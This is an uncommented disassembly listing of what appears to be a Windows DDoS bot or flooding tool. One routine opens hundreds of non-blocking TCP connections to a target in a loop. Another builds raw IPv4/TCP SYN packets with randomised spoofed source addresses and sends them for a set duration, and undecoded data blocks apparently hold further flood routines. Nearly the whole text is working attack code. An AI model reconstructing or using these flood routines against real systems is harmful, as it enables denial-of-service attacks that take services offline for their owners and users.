; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22CD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A184o
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022CD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Ch, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Ch, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022CCDh
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 2CCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22CCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D371E800h
		dd 50900227h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2CCB13E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D8FBE890h
		dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 2CC9DBE8h
		db 2, 90h
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022CC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		call	near ptr 2670EA1h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2CC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2770C0Ch
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27708A1h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27708A1h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E9E85659h, 90022CC3h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Ch, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22CC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22CC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
